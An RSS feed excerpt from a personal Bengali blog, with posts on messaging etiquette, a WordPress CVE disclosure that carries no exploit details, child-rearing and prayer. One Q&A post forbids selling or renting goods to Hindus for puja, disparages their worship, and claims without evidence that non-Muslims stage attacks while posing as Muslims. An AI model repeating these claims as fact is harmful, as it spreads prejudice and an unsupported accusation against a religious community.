</content:encoded><atom:updated>2025-10-04T00:00:00.000Z</atom:updated><category>islam</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>আমাকে জিজ্ঞেস করা কমন কিছু প্রশ্নের উত্তর</title><link>https://hurayraiit.com/blog/answer-to-some-common-questions-from-social-media/</link><guid isPermaLink="true">https://hurayraiit.com/blog/answer-to-some-common-questions-from-social-media/</guid><description>সোশাল মিডিয়ায় আমাকে করা কমন প্রশ্নগুলোর উত্তর — সালাম, কেমন আছেন, ক্যারিয়ার পরামর্শসহ সবকিছু এক জায়গায় সংকলিত করা হয়েছে।</description><pubDate>Fri, 03 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;আপনি যদি সোশাল মিডিয়া ব্যবহার করেন, তবে নিশ্চয়ই আপনি ম্যাসেজিং করে যোগাযোগ করার সাথে পরিচিত। হোক সেটা ফেইসবুক ম্যাসেঞ্জার বা হোয়াটসঅ্যাপে। আপনি হয়তো কাউকে প্রয়োজনে ম্যাসেজ পাঠান, আবার কেউ হয়তো আপনাকেও ম্যাসেজ পাঠিয়ে থাকেন।&lt;/p&gt;
&lt;p&gt;ঠিক একইভাবে পরিচিত, অপরিচিত অনেক মানুষ প্রায়ই আমাকে সোশাল মিডিয়া বা হোয়াটসঅ্যাপে ম্যাসেজ দিয়ে থাকেন। কিন্তু মজার ব্যাপার হলো অধিকাংশ ম্যাসেজই খুব কমন। যেসব প্রশ্নের উত্তর সাধারণত একইরকম হয়ে থাকে।&lt;/p&gt;
&lt;p&gt;তাই সবার সুবিধার্থে এই ব্লগ পোস্টে সেসব কমন কিছু পোস্টের উত্তর দেওয়া হলো।&lt;/p&gt;
&lt;h3&gt;ম্যাসেজঃ আসসালামু আলাইকুম / Assalamu Alaikum+&lt;/h3&gt;
&lt;p&gt;উত্তর: ওয়ালাইকুমুস সালাম ওয়া রহমাতুল্লাহি ওয়া বারাকাতুহু&lt;/p&gt;
&lt;p&gt;وعليكم السلام ورحمة الله وبركاته&lt;/p&gt;
&lt;h3&gt;ম্যাসেজঃ কেমন আছেন / আছো / আছিস?+&lt;/h3&gt;
&lt;p&gt;উত্তরঃ আলহামদুলিল্লাহ। মহান আল্লাহর ﷻ ইচ্ছায় অনেক ভালো আছি। আপনি কেমন আছেন, আপনার পরিবার কেমন আছেন?&lt;/p&gt;
&lt;h3&gt;ম্যাসেজঃ কি খবর ব্রো / কি অবস্থা ব্রো?+&lt;/h3&gt;
&lt;p&gt;উত্তরঃ আলহামদুলিল্লাহ। মহান আল্লাহর ﷻ ইচ্ছায় অনেক ভালো আছি। আপনি কেমন আছেন, আপনার পরিবার কেমন আছেন?&lt;/p&gt;
&lt;h3&gt;ম্যাসেজঃ ফ্রি আছেন / আছিস / আছো?+&lt;/h3&gt;
&lt;p&gt;উত্তরঃ আজকাল ফ্রি কমই থাকার সুযোগ হয়। তবে আপনার প্রয়োজন বিস্তারিত জানিয়েন ম্যাসেজ দিয়ে রাখুন। যখন আমি আপনার ম্যাসেজ দেখবো তখন বিস্তারিত উত্তর দেওয়ার চেষ্টা করবো ইনশাআল্লাহ।&lt;/p&gt;
&lt;h3&gt;ম্যাসেজঃ একটা বিষয়ে হেল্প লাগতো।+&lt;/h3&gt;
&lt;p&gt;উত্তরঃ জ্বি অবশ্যই। আপনার কি বিষয়ে হেল্প প্রয়োজন সেটা বিস্তারিত জানান। সমস্যাটি সমাধান করার জন্য কি কি স্টেপ নিয়েছেন, কেন ব্যর্থ হয়েছেন, ইত্যাদি বিস্তারিত বলুন। এরপর আমি কিভাবে আপনাকে হেল্প করতে পারি সেটা বুঝিয়ে বলুন। আমি যখন আপনার ম্যাসেজের উত্তর দেওয়ার সময় পাবো তখন বিস্তারিত জানানোর চেষ্টা করবো ইনশাআল্লাহ। আল্লাহ ﷻ যেন আমাদের জন্য সহজ করে দেন।&lt;/p&gt;
&lt;p&gt;নোটঃ এই আর্টিকেলটি আপনি মজা হিসেবে নিতে পারেন, বা সিরিয়াসলি নিতে পারেন। পুরোটা আপনার উপর। তবে আপনিও যদি আমার মতো ভুক্তভোগী হয়ে থাকেন তাহলে আর্টিকেলটি কপি করে নিজের মতো ব্যবহার করতে পারেন।&lt;/p&gt;
&lt;p&gt;কমিউনিকেশন বিষয়ে সুন্দর একটি আর্টিকেল লিখেছিলেন হাসান আব্দুল্লাহ ভাই, তার ব্যক্তিগত ব্লগে। সকলেরই পড়ে দেখা উচিত।&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://hellohasan.com/2025/07/16/communication-start-with-your-intro-context/&quot;&gt;কমিউনিকেশন - নিজের পরিচয় ও কনটেক্সট দিয়ে আলাপ শুরু করা&lt;/a&gt;&lt;/p&gt;
</content:encoded><atom:updated>2025-10-03T00:00:00.000Z</atom:updated><category>productivity</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2025-58246: My Contribution to WordPress 6.8.3 Security</title><link>https://hurayraiit.com/blog/my-contribution-to-wordpress-6-8-3-security-release-cve-2025-58246/</link><guid isPermaLink="true">https://hurayraiit.com/blog/my-contribution-to-wordpress-6-8-3-security-release-cve-2025-58246/</guid><description>CVE-2025-58246: How I discovered and responsibly disclosed a sensitive data exposure vulnerability that was patched in the WordPress 6.8.3 security release.</description><pubDate>Thu, 02 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Alhamdulillah.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I’m pleased to share that my recent vulnerability report has been officially acknowledged in the &lt;strong&gt;&lt;a href=&quot;https://wordpress.org/news/2025/09/wordpress-6-8-3-release/&quot;&gt;WordPress 6.8.3 Security Release&lt;/a&gt;&lt;/strong&gt;.&lt;br /&gt;
The issue, now tracked as &lt;strong&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-58246&quot;&gt;CVE-2025-58246&lt;/a&gt;&lt;/strong&gt;, addressed a &lt;strong&gt;Sensitive Data Exposure vulnerability&lt;/strong&gt; discovered in &lt;strong&gt;WordPress Core version 6.8.2&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;As part of my ongoing work as &lt;strong&gt;Lead Application Security Engineer at &lt;a href=&quot;https://wpdeveloper.com&quot;&gt;WPDeveloper&lt;/a&gt;&lt;/strong&gt;, I identified and responsibly disclosed this vulnerability through the &lt;strong&gt;&lt;a href=&quot;https://vdp.patchstack.com/database/researchers/05e39d47-2033-440b-9565-c8a3f6aff559&quot;&gt;Patchstack Bug Bounty Program&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;After review and validation by the WordPress Security Team, the issue was confirmed, triaged, and patched in the &lt;strong&gt;WordPress 6.8.3&lt;/strong&gt; release.&lt;/p&gt;
&lt;p&gt;You can find the technical details in the official &lt;strong&gt;&lt;a href=&quot;https://vdp.patchstack.com/database/wordpress/wordpress/wordpress/vulnerability/wordpress-wordpress-wordpress-6-8-2-sensitive-data-exposure-vulnerability&quot;&gt;Patchstack Database Advisory&lt;/a&gt;&lt;/strong&gt; and coverage in &lt;strong&gt;&lt;a href=&quot;https://www.therepository.email/wordpress-6-8-3-security-release-patches-data-exposure-and-xss-vulnerabilities&quot;&gt;The Repository’s report&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;I would like to thank both the &lt;strong&gt;WordPress Security Team&lt;/strong&gt; and &lt;strong&gt;Patchstack&lt;/strong&gt; for their professional handling of this report and their continuous commitment to improving WordPress security.&lt;/p&gt;
&lt;p&gt;🔗 My &lt;a href=&quot;http://WordPress.org&quot;&gt;WordPress.org&lt;/a&gt; profile: &lt;a href=&quot;https://profiles.wordpress.org/hurayraiit&quot;&gt;profiles.wordpress.org/hurayraiit&lt;/a&gt;&lt;/p&gt;
</content:encoded><atom:updated>2025-10-02T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>সন্তানকে তার উপযোগী কাজ দেওয়া আবশ্যক</title><link>https://hurayraiit.com/blog/sontanke-tar-upojogy-kaj-deoa/</link><guid isPermaLink="true">https://hurayraiit.com/blog/sontanke-tar-upojogy-kaj-deoa/</guid><description>সন্তানকে উপযোগী কাজে নিয়োজিত করা — ইসলামের দৃষ্টিতে ফরজে আইন শিক্ষা দেওয়া এবং সন্তানের প্রবণতা অনুযায়ী পথ দেখানোর গুরুত্ব।</description><pubDate>Wed, 01 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;সন্তানকে ফরজে আইন পরিমাণ ইলম শিক্ষা দিতে হবে। এ ক্ষেত্রে যদি অভিভাবক অবহেলা করে তাহলে তাকে জবাবদিহির সম্মুখীন হতে হবে। ফরজে আইন বিষয়গুলোর মধ্যে আছে তাহারাত, সালাত, সিয়াম, হজ্ব, মা-বাবার আনুগত্য ইত্যাদি। ছোট থেকেই সন্তানকে এসব বিষয় শেখাতে থাকলে বুঝ-বুদ্ধির পক্কতা আশার পর তার অন্তর ইলমের স্বাদ অনুভব করতে শিখবে।&lt;/p&gt;
&lt;p&gt;অতপর সে যদি শরয়ী ইলম শিখতে আগ্রহী হয় তাহলে তাকে ইলম অর্জনের যাবতীয় উপায়-উপকরণের ব্যবস্থা করে দিতে হবে। সঠিক, বিজ্ঞ এবং দূরদর্শী একজন শিক্ষকের তত্ত্বাবধানে তাকে অর্পণ করতে হবে। শিক্ষক তার স্বভাব, বুঝ এবং ধারণক্ষমতা পর্যালোচনা করে তাকে নির্দেশনা দিতে থাকবে। একটা সময় পর সে একজন ভালো আলিম হয়ে উম্মতের উভজাগতিক কল্যান সাধনের কাজে নিয়োজিত হবে।&lt;/p&gt;
&lt;p&gt;আর যদি তার আগ্রহ শরয়ী বিষয় ছাড়া অন্য কোনও বৈধ ব্যাপারে দেখা যায় তাহলে সে বিষয়ে অভিজ্ঞ কারো হাতে তাকে অর্পণ করতে হবে এবং সেই বিদ্যা অর্জনের সার্বিক উপায়-উপকরণ তাকে সরবরাহ করবে।&lt;/p&gt;
&lt;p&gt;সে বিষয়ে যার আগ্রহ নেই এবং সে বিষয়ের ধারণক্ষমতাও তার মাঝে নেই, এ ক্ষেত্রে তাঁকে চাপাচাপি বা জোরাজুরি না করা উচিত।&lt;/p&gt;
</content:encoded><atom:updated>2025-10-01T00:00:00.000Z</atom:updated><category>islam</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>বিধর্মীদের উৎসব সংক্রান্ত কিছু প্রশ্নোত্তর</title><link>https://hurayraiit.com/blog/qa-non-muslims-festivals/</link><guid isPermaLink="true">https://hurayraiit.com/blog/qa-non-muslims-festivals/</guid><description>বিধর্মীদের উৎসবে মুসলিমদের করণীয় — ইমাম ইবনে তাইমিয়ার মতামতসহ পণ্য বিক্রয়, শুভেচ্ছা ও অংশগ্রহণের ইসলামী বিধান বিস্তারিত।</description><pubDate>Tue, 30 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;প্রশ্ন-১: হিন্দুদের পূজায় মূর্তির উদ্দেশ্যে বলি দেয়ার জন্য কোন মুসলিম কি তাদের কাছে পাঠা বিক্রয় করতে পারবে?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;উত্তর:&lt;/strong&gt; সাধারণভাবে অমুসলিমদের নিকট বেচাকেনায় কোন দোষ নেই। তবে শর্ত হল, হারাম কোন কিছু বিক্রয় করা যাবে না। যেমন: মদ, শুকর বা শুকরের গোস্ত, হারাম প্রাণীর গোস্ত, বিধর্মীদের ধর্মীয় প্রতীক, বাদ্যযন্ত্র, তাদের পূজার সামগ্রী এবং এমন কোন বস্তু যা মূলত: বৈধ কিন্তু তারা তা হারাম কাজে ব্যবহার করবে।&lt;/p&gt;
&lt;p&gt;ইমাম ইবনে তাইমিয়া রহঃ বলেন,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“মুসলিমদের জন্য কাফেরদের উৎসবের জন্য নির্দিষ্ট খাদ্য, পোশাক, গোসল..ইত্যাদি কোন কিছুর সাথে সাদৃশ্য অবলম্বন করা বৈধ নয়। অনুরূপভাবে তাদের উৎসবের কাজে লাগানো হয় এমন জিনিসও এ উদ্দেশ্যে বিক্রয় করাও বৈধ নয়।”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;সুতরাং আপনি যখন জানবেন যে, তারা আপনার নিকট পাঠা ক্রয় করে তাদের দেবতার উদ্দেশ্যে বলি দিবে তখন তাদের নিকট তা বিক্রয় করা বৈধ নয়। কারণ ইসলামে গাইরুল্লাহ তথা আল্লাহ ছাড়া অন্য ব্যক্তি বা বস্তুর উদ্দেশ্যে পশু জবাই বা উৎসর্গ করা বড় শিরক। আর ইসলামের দৃষ্টিতে আসমানের নিচে ও জমিনের উপরে শিরকের চেয়ে ভয়াবহ ও বড় গুনাহ আর নেই।&lt;/p&gt;
&lt;p&gt;আল্লাহ তায়ালা বলেন,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“নিঃসন্দেহে আল্লাহ তাকে ক্ষমা করেন না, যে তাঁর সাথে শরীক করে। আর যাকে ইচ্ছা এর নিম্ন পর্যায়ের পাপ ক্ষমা করেন।” (সূরা নিসা: ৪৮)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;আল্লাহ তাআলা আরও বলেন,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“নিশ্চয় যে ব্যক্তি আল্লাহর সাথে শরিক (অংশীদার) স্থির করে, আল্লাহ তার জন্যে জান্নাত হারাম করে দেন। এবং তার বাসস্থান হয় জাহান্নাম। অত্যাচারীদের কোন সাহায্যকারী নেই।” (সূরা মায়িদা: ৭২)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;রাসূলুল্লাহ্ সাল্লাল্লাহু আলাইহি ওয়াসাল্লাম বলেন:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“যে ব্যক্তি আল্লাহ ব্যতীত অন্য কারো নামে পশু জবেহ করে তার ওপর আল্লাহর অভিশাপ”। (সহিহ মুসলিম, হা/ ১৯৭৮)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;সুতরাং দেব-দেবীর উদ্দেশ্যে বলি দেয়ার জন্য হিন্দুদের নিকট পাঠা বিক্রয় করা শিরকের কাজে সহায়তার শামিল-যা নি:সন্দেহে হারাম।&lt;/p&gt;
&lt;p&gt;আল্লাহ তাআলা বলেন,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“আর সৎকর্ম ও আল্লাহ ভীতিতে একে অন্যের সহায়তা কর। পাপ ও সীমালঙ্ঘনের ব্যাপারে একে অন্যের সহায়তা করো না। আর আল্লাহকে ভয় কর। নিশ্চয় আল্লাহ তা’আলা কঠোর শাস্তি দাতা।” (সূরা মায়িদা: ২)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;প্রশ্ন-২: হিন্দুদের পূজা উপলক্ষে ফার্নিচার, মাইক, সিসি ক্যামেরা, গাড়ি ইত্যাদি ভাড়া দেয়া জায়েজ আছে কি?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;উত্তর:&lt;/strong&gt; হিন্দুরা মহান সৃষ্টিকর্তা আল্লাহর সবচেয়ে ঘৃণিত কাজ করে। তা হল, মূর্তিপূজা। এটি হল, শিরক। শিরক এত ভয়ানক অপরাধ যাতে মহান আল্লাহ সবচেয়ে বেশি ক্রোধান্বিত হন এবং এই অপরাধ তিনি ক্ষমা করবেন না বলে দ্ব্যর্থ হীন ভাবে ঘোষণা করেছেন।&lt;/p&gt;
&lt;p&gt;আল্লাহ তায়ালা বলেন:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“নিঃসন্দেহে আল্লাহ তাকে ক্ষমা করেন না, যে লোক তাঁর সাথে শরীক করে। তিনি ক্ষমা করেন এর নিম্ন পর্যায়ের পাপ, যার জন্য তিনি ইচ্ছা করেন।” (সূরা নিসা: ৪৮)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;সুতরাং কোনও মুসলিমের জন্য জঘন্য শিরকের কাজে কোনও ভাবেই সহায়তা করা বৈধ নয়। অত:এব হিন্দুদের পূজা উপলক্ষে ফার্নিচার, মাইক, গাড়ি ইত্যাদি ভাড়াও দেয়া যাবে না।&lt;/p&gt;
&lt;p&gt;মোটকথা, পূজার কাজে ব্যবহার করার জন্য কোনও বস্তু বা উপকরণ তাদের কাছে বিক্রয় করা বা ভাড়া দেয়া বৈধ নয়। কারণ তা শিরকের কাজে সহায়তার শামিল।&lt;/p&gt;
&lt;p&gt;আল্লাহ বলেন,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“সৎকর্ম ও আল্লাহ ভীতিতে একে অন্যের সাহায্য কর। পাপ ও সীমালঙ্ঘনের ব্যাপারে একে অন্যের সহায়তা করো না।” (সূরা মায়িদা: ২)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;আর এ কথায় কোনও সন্দেহ নাই যে, মূর্তিপূজা ও শিরক হল, সবচেয়ে বড় পাপ ও সীমালঙ্ঘন।&lt;/p&gt;
&lt;p&gt;তবে সিসি ক্যামেরা ভাড়া দেয়া যেতে পারে। কারণ তা মুসলিম-হিন্দু সকলের নিরাপত্তার জন্য প্রয়োজন।&lt;/p&gt;
&lt;p&gt;কেননা অনেক সময় কোনও স্বার্থান্বেষী অমুসলিমরা মুসলিম সেজে পূজা মণ্ডপে আক্রমণ চালিয়ে মুসলিমদের উপর তার দোষ চাপিয়ে দেয়। সিসি ক্যামেরা থাকলে হয়ত এমন চক্রান্ত বাস্তবায়ন করা সম্ভব হবে না। সুতরাং বৃহত্তর স্বার্থে এতে কোনও সমস্যা নাই ইনশাআল্লাহ।&lt;/p&gt;
&lt;p&gt;সৌদি আরবের সাবেক গ্রান্ড মুফতি বিশ্ববরণ্যে আলেম আল্লামা আব্দুল্লাহ বিন বায রাহ. বলেন,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“কোনও মুসলিম পুরুষ-নারীর জন্য ইহুদি-খ্রিস্টান বা অন্যান্য কাফেরদের উৎসবে অংশগ্রহণ করা ও সহযোগিতা করা জায়েজ নয় বরং তা বর্জন করা আবশ্যক। কারণ “যে ব্যক্তি অন্য কোনও জাতির সাদৃশ্য অবলম্বন করবে সে তাদের দলভুক্ত হিসেবে গণ্য হবে।” রাসূল সাল্লাল্লাহু আলাইহি ওয়া সাল্লাম আমাদেরকে তাদের সাদৃশ্য অবলম্বন ও চরিত্র গ্রহণ করার ব্যাপারে সতর্ক করেছেন।&lt;/p&gt;
&lt;p&gt;সুতরাং ইমানদার নারী-পুরুষের জন্য এ বিষয়ে সাবধান হওয়া জরুরি। এ উৎসব পালনে তাদেরকে কোনভাবেই সাহায্য করা বৈধ নয়। কেননা এগুলো শরিয়ত বিরোধী উৎসব। সুতরাং তাতে অংশগ্রহণ করা জায়েজ নেই এবং তাদেরকে সাহায্য-সহযোগিতা করা বৈধ নয়। চা, কফি, হাড়ি-পাতিল ইত্যাদি দ্বারাও সহায়তা করা যাবে না।&lt;/p&gt;
&lt;p&gt;আল্লাহ তা’আলা বলেন,&lt;/p&gt;
&lt;p&gt;“আর তোমরা সৎকর্ম ও আল্লাহ ভীতিতে একে অন্যের সহায়তা কর। পাপ ও সীমালঙ্ঘনের ব্যাপারে একে অন্যের সহায়তা করো না।” (সূরা মায়িদা: ২)&lt;/p&gt;
&lt;p&gt;আর কাফেরদের সাথে তাদের উৎসবে অংশগ্রহণ করা তাদেরকে গুনাহ এবং সীমালঙ্ঘনের কাজে সহায়তার শামিল।” [ফতোয়া বিন বায ৬/৪০৫]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◈◈ মিলিনিয়াম (সহস্রাব্দ) পালন উৎসবে অংশ গ্রহণ প্রসঙ্গে সৌদি আরবের স্থায়ী ফতোয়া কমিটির আলেমগণ বলেন,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“কোনও মুসলিমের জন্য কাফেরদেরকে তাদের উৎসবে কোনোভাবে সাহায্য-সহযোগিতা করা শরিয়ত সম্মত নয়। যার মধ্যে রয়েছে: উল্লিখিত মিলিনিয়াম (সহস্রাব্দ) উদযাপন, তাদের উৎসবগুলোর প্রচার-প্রসার করা বা সেগুলো ঘোষণা করা বা এগুলোর প্রতি কোনও উপায়ে আহ্বান জানানো-চাই তা মিডিয়ার মাধ্যমে হোক অথবা ডিজিটাল ঘড়ি ও বিলবোর্ড স্থাপনের মাধ্যম হোক অথবা এ উপলক্ষে বিশেষ পোশাক তৈরি, স্মৃতিসৌধ নির্মাণ, স্কুলের খাতা ছাপানো, কার্ড বানানো, এ উপলক্ষে বাণিজ্যিক ছাড় ও আর্থিক পুরস্কার ঘোষণা অথবা ক্রীড়া কার্যক্রম বা তাদের নিজস্ব লোগো প্রকাশ ইত্যাদি যেভাবেই হোক না কেনো।” (ফতোয়া লাজনা দায়েমাহ)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;অবশ্য কোথাও পরিস্থিতি যদি এমন হয় যে, কাফেরদের পূজা বা উৎসব পালনে সাহায্য না করলে তারা মুসলিমদের জান-মালের ক্ষতি করবে বা তাদের প্রতি জুলুম-নির্যাতন করবে তাহলে তাদের ক্ষতির হাত থেকে আত্মরক্ষার স্বার্থে যদি সহযোগিতা করতে বাধ্য হয় তাহলে ইনশাআল্লাহ দয়াময় আল্লাহ গুনাহ লিখবেন না।&lt;/p&gt;
&lt;p&gt;রাসূল সাল্লাল্লাহু আলাইহি ওয়া সাল্লাম বলেন,&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;“আমার উদ্দেশ্যে আল্লাহ‌ আমার উম্মতের অনিচ্ছাকৃত ভুল-ত্রুটি ও জোরপূর্বক কৃত অন্যায় ক্ষমা করে দিয়েছেন।” (ইবনে মাজাহ, হা/২০৪৫, বায়হাকি-সুনানুল কুবরা, হা/৭। হাদিসটি হাসান)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;প্রশ্ন-৩: কোনও অমুসলিম পূজার জন্য ফুল চাইলে তাকে তা দিলে কি গুনাহ হবে? আর যদি সে না বলে নিয়ে যায় সেক্ষেত্রে কী হবে?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;উত্তর:&lt;/strong&gt; যদি আপনি জানতে পারেন যে, কোন হিন্দু মূর্তি পূজার জন্য ফুল ব্যবহার করবে বা পূজা মণ্ডপে ফুলের অর্ঘ প্রদান করবে তাহলে তাদেরকে ফুল দেয়া বা তাদের কাছে তা বিক্রয় করা জায়েজ নয়।&lt;/p&gt;
&lt;p&gt;কেননা হিন্দুরা মূর্তি পূজার মাধ্যমে এ বিশ্বচরাচরের মহান সৃষ্টিকর্তা আল্লাহর সাথে শিরক (অংশী স্থাপন) করে। আর শিরক আল্লাহর নিকট সবচেয়ে বড় অপরাধ।&lt;/p&gt;
&lt;p&gt;সুতরাং আপনার ফুল দ্বারা যদি তারা এত বড় অপরাধ করে তাহলে প্রকারান্তরে আপনি তাদেরকে এতে সহায়তা করলেন। অথচ আল্লাহর নাফরমানির ব্যাপারে কাউকে সাহায্য করা ইসলামে নিষিদ্ধ।&lt;/p&gt;
&lt;p&gt;তবে না দিলে তারা যদি আপনার ক্ষয়-ক্ষতি করবে বলে আশঙ্কা থাকে তাহলে আত্মরক্ষার স্বার্থে দিলে গুনাহ হবে না ইনশাআল্লাহ।&lt;/p&gt;
&lt;p&gt;আর তারা যদি অজান্তে আপনার বাগান থেকে ফুল তুলে নিয়ে যায় তাহলে এতে আপনার কোন গুনাহ নাই কারণ। তা আপনার ইচ্ছার বাইরে ঘটেছে।&lt;/p&gt;
&lt;p&gt;আল্লাহু আলাম।&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;উত্তর প্রদানে:আব্দুল্লাহিল হাদী বিন আব্দুল জলীল মাদানী।দাঈ, জুবাইল দাওয়াহ এন্ড গাইডেন্স সেন্টার, সৌদি আরব।
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;[&lt;a href=&quot;https://t.me/Hope24hours&quot;&gt;Source&lt;/a&gt;]&lt;/p&gt;
</content:encoded><atom:updated>2025-09-30T00:00:00.000Z</atom:updated><category>islam</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>দাওয়াত, দুআ ও কাচ্চি</title><link>https://hurayraiit.com/blog/dawat-dua-and-kacchi/</link><guid isPermaLink="true">https://hurayraiit.com/blog/dawat-dua-and-kacchi/</guid><description>দাওয়াতে কাচ্চির সুন্দর গল্পের মাধ্যমে একটি গভীর শিক্ষা — আল্লাহর কাছে চাওয়া কেন সর্বোত্তম পন্থা এবং দুআর মাধ্যমে ইচ্ছা পূরণ হয়।</description><pubDate>Mon, 29 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;নিচের &lt;a href=&quot;https://www.facebook.com/share/p/1Db1Qah8iv/&quot;&gt;পোস্টটি&lt;/a&gt; লিখেছেন শিবলী মেহদি ভাইয়া, তার &lt;a href=&quot;https://www.facebook.com/shiblee.mehdi&quot;&gt;ফেসবুক প্রোফাইলে&lt;/a&gt;।&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;দাওয়াতে মজার খাবারের উদাহরণ দেই। যার যার পরিস্থিতি ভিন্ন হতে পারে, খাবার ছাড়া ভিন্ন কিছুও হতে পারে। কিন্তু এমন পরিস্থিতিতে সমাধান একটাই।&lt;/p&gt;
&lt;p&gt;দাওয়াতে কাচ্চি খেতে বসে দেখলেন খুবি মজার কাচ্চি, আলহামদুলিল্লাহ! এতো মজার যে, আপনার খুব ইচ্ছা হচ্ছে মজা করে খাওয়া শেষে কিছু কাচ্চি বাসায় নিয়ে যেতে যেনো আরেক বেলা মজা করে খেতে পারেন। কিন্তু আপনি হোস্টকে যদি বলেন, ❝সকলের খাওয়া শেষে যদি অতিরিক্ত কাচ্চি থাকে প্লিজ কিছুটা দিও, বাসায় গিয়ে আবার খাবো!❞&lt;/p&gt;
&lt;p&gt;হোস্ট অবশ্যই এটা করতে চাইবে এবং তখন সম্ভাবনা আছে:&lt;/p&gt;
&lt;p&gt;১/ হোস্টের নিজের বাসার সকলে কম করে খেয়ে হলেও মেহমানের ইচ্ছা পূরণ করবে। (কিন্তু মেহমান সেটা বুঝতে পারলে তারও খুব খারাপ লাগবে, লজ্জা লাগবে।)&lt;/p&gt;
&lt;p&gt;২/ হোস্টের বাসার সকলে কম করে খেয়েও যদি দেয়ার মতো অতিরিক্ত কাচ্চি না থাকে তখন হোস্টের খুব খারাপ লাগবে যে, চেষ্টা করেও মেহমানের ইচ্ছা পূরণ করা গেলই না।&lt;/p&gt;
&lt;p&gt;কিন্তু আপনি যদি হোস্টকে আপনার ইচ্ছাটাই না জানান, তাহলেও হতে পারে যে, অতিরিক্ত কাচ্চি থাকার পরেও হোস্ট নিজে থেকে কিছুই দিলেন না।&lt;/p&gt;
&lt;p&gt;এমন পরিস্থিতিতে একটাই সমাধান। আল্লাহর কাছে দু&apos;য়া করা, আল্লাহর কাছে চাওয়া। এতে কী কী হতে পারে?&lt;/p&gt;
&lt;p&gt;১/ আল্লাহ যদি কবুল করেন তাহলে তিনি ঐ কাচ্চিতে বারাকাহ বাড়িয়ে দেবেন এবং কেউ কম খাবে না বরং সবাই মজা করে খাবে কিন্তু তারপরেও অতিরিক্ত কাচ্চি থাকবে।&lt;/p&gt;
&lt;p&gt;২/ তারপর তিনি হোস্টের অন্তরে ইচ্ছা দিয়ে দেবেন যেনো তিনি গেস্টকে পর্যাপ্ত খাবার দিয়ে দেন।&lt;/p&gt;
&lt;p&gt;৩/ এমন কি তিনি খাবারে এতোটাই বারাকাহ বাড়াবেন যে, যিনি এই দাওয়াতের কথা বা কাচ্চির কথা জানতেনই না এমন কারো কারো কাছেও ঐ কাচ্চি পৌঁছে দেয়ার চিন্তা ভাবনা হোস্টের অন্তরে আল্লাহ দিয়ে দেবেন।&lt;/p&gt;
&lt;p&gt;এটা গেল আল্লাহ যদি কবুল করেন। কিন্তু যদি তিনি কবুল নাও করেন তাহলেও লাভ আছে।&lt;/p&gt;
&lt;p&gt;১/ কিন্তু আল্লাহ যদি কবুল নাও করেন, তাহলেও একজন মুমিনের লস নাই। কারণ, শুধুমাত্র তাঁর কাছে দুয়া করার কারণে শেষ বিচার দিবসে তিনি এর বিনিময়ে অনেক অনেক সোয়াব দেবেন।&lt;/p&gt;
&lt;p&gt;২/ কিংবা ঐ খাবারের চাইতে আরো উত্তম খাবার খাওয়াবেন।&lt;/p&gt;
&lt;p&gt;৩/ কিংবা কোনো বিপদ হতে রক্ষা করবেন।&lt;/p&gt;
&lt;p&gt;অর্থাৎ শুধুমাত্র তাঁর কাছে বৈধ জিনিষ চাওয়ার কারণে তিনি উত্তম কিছু না কিছু অবশ্যই দেবেন। কারণ দু&apos;য়া করাটাই একটা ইবাদাত।&lt;/p&gt;
&lt;p&gt;প্রয়োজন ছোট কিংবা বড় হোক, মানুষের কাছে চাইতে লজ্জা লাগলেও আল্লাহর কাছে চাইতে লজ্জা পাওয়া যাবে না। দু&apos;য়া শুধু রবের কাছেই। তিনি চান যেনো আমরা তাঁর কাছেই চাই। কারণ তিনিই একমাত্র দেয়ার মালিক।&lt;/p&gt;
